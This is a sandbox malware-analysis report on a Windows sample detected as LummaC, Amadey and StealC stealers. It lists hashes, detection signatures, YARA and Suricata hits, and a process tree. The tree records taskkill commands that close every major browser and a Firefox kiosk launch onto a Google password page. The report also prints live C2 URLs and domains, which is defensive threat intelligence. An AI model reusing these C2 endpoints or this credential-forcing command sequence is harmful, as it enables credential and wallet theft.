Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546479
MD5:	04e39d3bf9bd2b3cdf9809124fc8e25c
SHA1:	923ce593cff9db08cf2990b7513a17875d0dd903
SHA256:	f370ae6a49126a86d98f7f1d3ce1882f660e63873b8152f65feb69367ca843a2
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6532 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 04E39D3BF9BD2B3CDF9809124FC8E25C)

YQEN9A9QU4P1VROBPV5YS.exe (PID: 4232 cmdline: "C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe" MD5: ACFD594BD16156E07DD4171BB881F5A8)

99Q4Y3O9GBOXYTDVM9GPHI.exe (PID: 1088 cmdline: "C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe" MD5: 90B5CA2B241FF38DBFC264A0488E212F)

skotes.exe (PID: 420 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 90B5CA2B241FF38DBFC264A0488E212F)

efe6fe4127.exe (PID: 4916 cmdline: "C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe" MD5: 04E39D3BF9BD2B3CDF9809124FC8E25C)

U2242U1STHGPPKHG.exe (PID: 1244 cmdline: "C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe" MD5: ACFD594BD16156E07DD4171BB881F5A8)

KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe (PID: 6720 cmdline: "C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe" MD5: 90B5CA2B241FF38DBFC264A0488E212F)

b76bb5cee7.exe (PID: 5712 cmdline: "C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe" MD5: 43DEAE52C429449144C488C4EA074C14)

deecb7b612.exe (PID: 5856 cmdline: "C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe" MD5: CD6AD64420E0649DD184452AC6482A48)

taskkill.exe (PID: 5492 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5164 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4952 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6872 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1472 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6036 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 6044 cmdline: "C:\Users\user\AppData\Local\Temp\1003039001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

skotes.exe (PID: 380 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 90B5CA2B241FF38DBFC264A0488E212F)

efe6fe4127.exe (PID: 5280 cmdline: "C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe" MD5: 04E39D3BF9BD2B3CDF9809124FC8E25C)

firefox.exe (PID: 572 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5916 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2940 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2280 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2208 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {423ea620-fe66-413c-8935-40f62b63c251} 5916 "\\.\pipe\gecko-crash-server-pipe.5916" 25e3236e310 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6208 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2916 -parentBuildID 20230927232528 -prefsHandle 4284 -prefMapHandle 4008 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4f1378f9-151b-4458-be92-e8615185ef25} 5916 "\\.\pipe\gecko-crash-server-pipe.5916" 25e448f6d10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

b76bb5cee7.exe (PID: 6444 cmdline: "C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe" MD5: 43DEAE52C429449144C488C4EA074C14)

deecb7b612.exe (PID: 6976 cmdline: "C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe" MD5: CD6AD64420E0649DD184452AC6482A48)

taskkill.exe (PID: 6980 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4916 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6820 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4948 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6104 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6320 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6612 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6308 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2164 -prefMapHandle 2148 -prefsLen 25250 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d656b9f2-c939-41fa-9650-c12bc10d3aaf} 6612 "\\.\pipe\gecko-crash-server-pipe.6612" 20f2056dd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7048 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4896 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4880 -prefMapHandle 4876 -prefsLen 32262 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2bbb0be4-1696-4846-9575-46d8e9741b04} 6612 "\\.\pipe\gecko-crash-server-pipe.6612" 20f3b07f710 utility MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 6456 cmdline: "C:\Users\user\AppData\Local\Temp\1003039001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

cleanup

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["founpiuer.store", "navygenerayk.store", "fadehairucw.store", "presticitpo.store", "thumbystriw.store", "necklacedmny.store", "scriptyprefej.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1003039001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000003.2721535335.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000030.00000002.3018675741.00000000002BE000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.2947624968.00000000004D1000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2767324044.000000000135E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.2372324110.0000000005200000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2877033985.000000000081E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2836024588.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2766160676.0000000000AA1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000003.2905323869.0000000005060000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2871436723.0000000001A58000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000030.00000002.3018412209.00000000002A1000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000030.00000000.3003208783.00000000002BE000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2798194667.0000000001A5B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2461719717.0000000000521000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2209806548.0000000000A76000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2743978595.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2961232929.0000000000AA1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.2875184699.00000000002A1000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2862123172.0000000005220000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2895609812.0000000001A6C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2785010613.0000000000C71000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2967959553.000000000150B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2839354396.0000000001A59000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.2875355609.00000000002BE000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2895550351.0000000001A5B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000000.2854773209.00000000002A1000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2797107426.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2822426933.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000000.2855075944.00000000002BE000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000030.00000000.3003112537.00000000002A1000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2475357445.0000000005490000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2797251445.0000000001A5B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2797026872.0000000001A58000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000003.2989652207.000000000114F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: file.exe PID: 6532	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6532	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6532	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: efe6fe4127.exe PID: 4916	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: efe6fe4127.exe PID: 4916	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: efe6fe4127.exe PID: 4916	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: b76bb5cee7.exe PID: 5712	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b76bb5cee7.exe PID: 5712	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: efe6fe4127.exe PID: 5280	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: efe6fe4127.exe PID: 5280	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: deecb7b612.exe PID: 5856	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: b76bb5cee7.exe PID: 6444	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b76bb5cee7.exe PID: 6444	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: num.exe PID: 6044	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 6044	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: deecb7b612.exe PID: 6976	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: num.exe PID: 6456	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 6456	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 49 entries

Unpacked PEs

Source	Rule	Description	Author
31.2.num.exe.2a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
48.2.num.exe.2a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
48.0.num.exe.2a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
29.2.b76bb5cee7.exe.aa0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
32.2.KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.0.num.exe.2a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.99Q4Y3O9GBOXYTDVM9GPHI.exe.520000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.b76bb5cee7.exe.aa0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
11.2.skotes.exe.c70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 420, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\efe6fe4127.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 420, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\efe6fe4127.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:19.770720+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.6	49746	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:02.799992+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	188.114.96.3	443	TCP
2024-11-01T00:38:04.284202+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	188.114.96.3	443	TCP
2024-11-01T00:38:05.596752+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	188.114.96.3	443	TCP
2024-11-01T00:38:07.328959+0100	2028371	3	Unknown Traffic	192.168.2.6	49713	188.114.96.3	443	TCP
2024-11-01T00:38:09.008165+0100	2028371	3	Unknown Traffic	192.168.2.6	49714	188.114.96.3	443	TCP
2024-11-01T00:38:10.641175+0100	2028371	3	Unknown Traffic	192.168.2.6	49715	188.114.96.3	443	TCP
2024-11-01T00:38:12.241978+0100	2028371	3	Unknown Traffic	192.168.2.6	49717	188.114.96.3	443	TCP
2024-11-01T00:38:14.850042+0100	2028371	3	Unknown Traffic	192.168.2.6	49729	188.114.96.3	443	TCP
2024-11-01T00:38:51.897240+0100	2028371	3	Unknown Traffic	192.168.2.6	49939	188.114.96.3	443	TCP
2024-11-01T00:38:53.266675+0100	2028371	3	Unknown Traffic	192.168.2.6	49949	188.114.96.3	443	TCP
2024-11-01T00:38:54.695703+0100	2028371	3	Unknown Traffic	192.168.2.6	49958	188.114.96.3	443	TCP
2024-11-01T00:38:55.991776+0100	2028371	3	Unknown Traffic	192.168.2.6	49967	188.114.96.3	443	TCP
2024-11-01T00:38:57.714025+0100	2028371	3	Unknown Traffic	192.168.2.6	49978	188.114.96.3	443	TCP
2024-11-01T00:38:59.460082+0100	2028371	3	Unknown Traffic	192.168.2.6	49989	188.114.96.3	443	TCP
2024-11-01T00:39:01.478998+0100	2028371	3	Unknown Traffic	192.168.2.6	50000	188.114.96.3	443	TCP
2024-11-01T00:39:04.530976+0100	2028371	3	Unknown Traffic	192.168.2.6	50006	188.114.96.3	443	TCP
2024-11-01T00:39:06.879812+0100	2028371	3	Unknown Traffic	192.168.2.6	50008	188.114.96.3	443	TCP
2024-11-01T00:39:08.091094+0100	2028371	3	Unknown Traffic	192.168.2.6	50009	188.114.96.3	443	TCP
2024-11-01T00:39:09.561443+0100	2028371	3	Unknown Traffic	192.168.2.6	50011	188.114.96.3	443	TCP
2024-11-01T00:39:11.870852+0100	2028371	3	Unknown Traffic	192.168.2.6	50015	188.114.96.3	443	TCP
2024-11-01T00:39:15.030056+0100	2028371	3	Unknown Traffic	192.168.2.6	50020	188.114.96.3	443	TCP
2024-11-01T00:39:20.378601+0100	2028371	3	Unknown Traffic	192.168.2.6	50028	188.114.96.3	443	TCP
2024-11-01T00:39:23.356414+0100	2028371	3	Unknown Traffic	192.168.2.6	50033	188.114.96.3	443	TCP
2024-11-01T00:39:25.951319+0100	2028371	3	Unknown Traffic	192.168.2.6	50037	188.114.96.3	443	TCP
2024-11-01T00:39:39.006827+0100	2028371	3	Unknown Traffic	192.168.2.6	50074	188.114.96.3	443	TCP
2024-11-01T00:39:40.729948+0100	2028371	3	Unknown Traffic	192.168.2.6	50076	188.114.96.3	443	TCP
2024-11-01T00:39:42.107021+0100	2028371	3	Unknown Traffic	192.168.2.6	50078	188.114.96.3	443	TCP
2024-11-01T00:39:43.311894+0100	2028371	3	Unknown Traffic	192.168.2.6	50081	188.114.96.3	443	TCP
2024-11-01T00:39:44.364796+0100	2028371	3	Unknown Traffic	192.168.2.6	50082	188.114.96.3	443	TCP
2024-11-01T00:39:45.677692+0100	2028371	3	Unknown Traffic	192.168.2.6	50084	188.114.96.3	443	TCP
2024-11-01T00:39:47.079765+0100	2028371	3	Unknown Traffic	192.168.2.6	50085	188.114.96.3	443	TCP
2024-11-01T00:39:48.287694+0100	2028371	3	Unknown Traffic	192.168.2.6	50089	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:03.614346+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	188.114.96.3	443	TCP
2024-11-01T00:38:04.763602+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	188.114.96.3	443	TCP
2024-11-01T00:38:15.177820+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49729	188.114.96.3	443	TCP
2024-11-01T00:38:52.601073+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49939	188.114.96.3	443	TCP
2024-11-01T00:38:53.735401+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49949	188.114.96.3	443	TCP
2024-11-01T00:39:05.014204+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50006	188.114.96.3	443	TCP
2024-11-01T00:39:07.399577+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50008	188.114.96.3	443	TCP
2024-11-01T00:39:08.573934+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50009	188.114.96.3	443	TCP
2024-11-01T00:39:26.476670+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50037	188.114.96.3	443	TCP
2024-11-01T00:39:39.561054+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50074	188.114.96.3	443	TCP
2024-11-01T00:39:41.203921+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50076	188.114.96.3	443	TCP
2024-11-01T00:39:48.771982+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50089	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:03.614346+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49709	188.114.96.3	443	TCP
2024-11-01T00:38:52.601073+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49939	188.114.96.3	443	TCP
2024-11-01T00:39:07.399577+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50008	188.114.96.3	443	TCP
2024-11-01T00:39:39.561054+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50074	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T00:38:04.763602+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49710	188.114.96.3	443	TCP
2024-11-01T00:38:53.735401+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49949	188.114.96.3	443	TCP
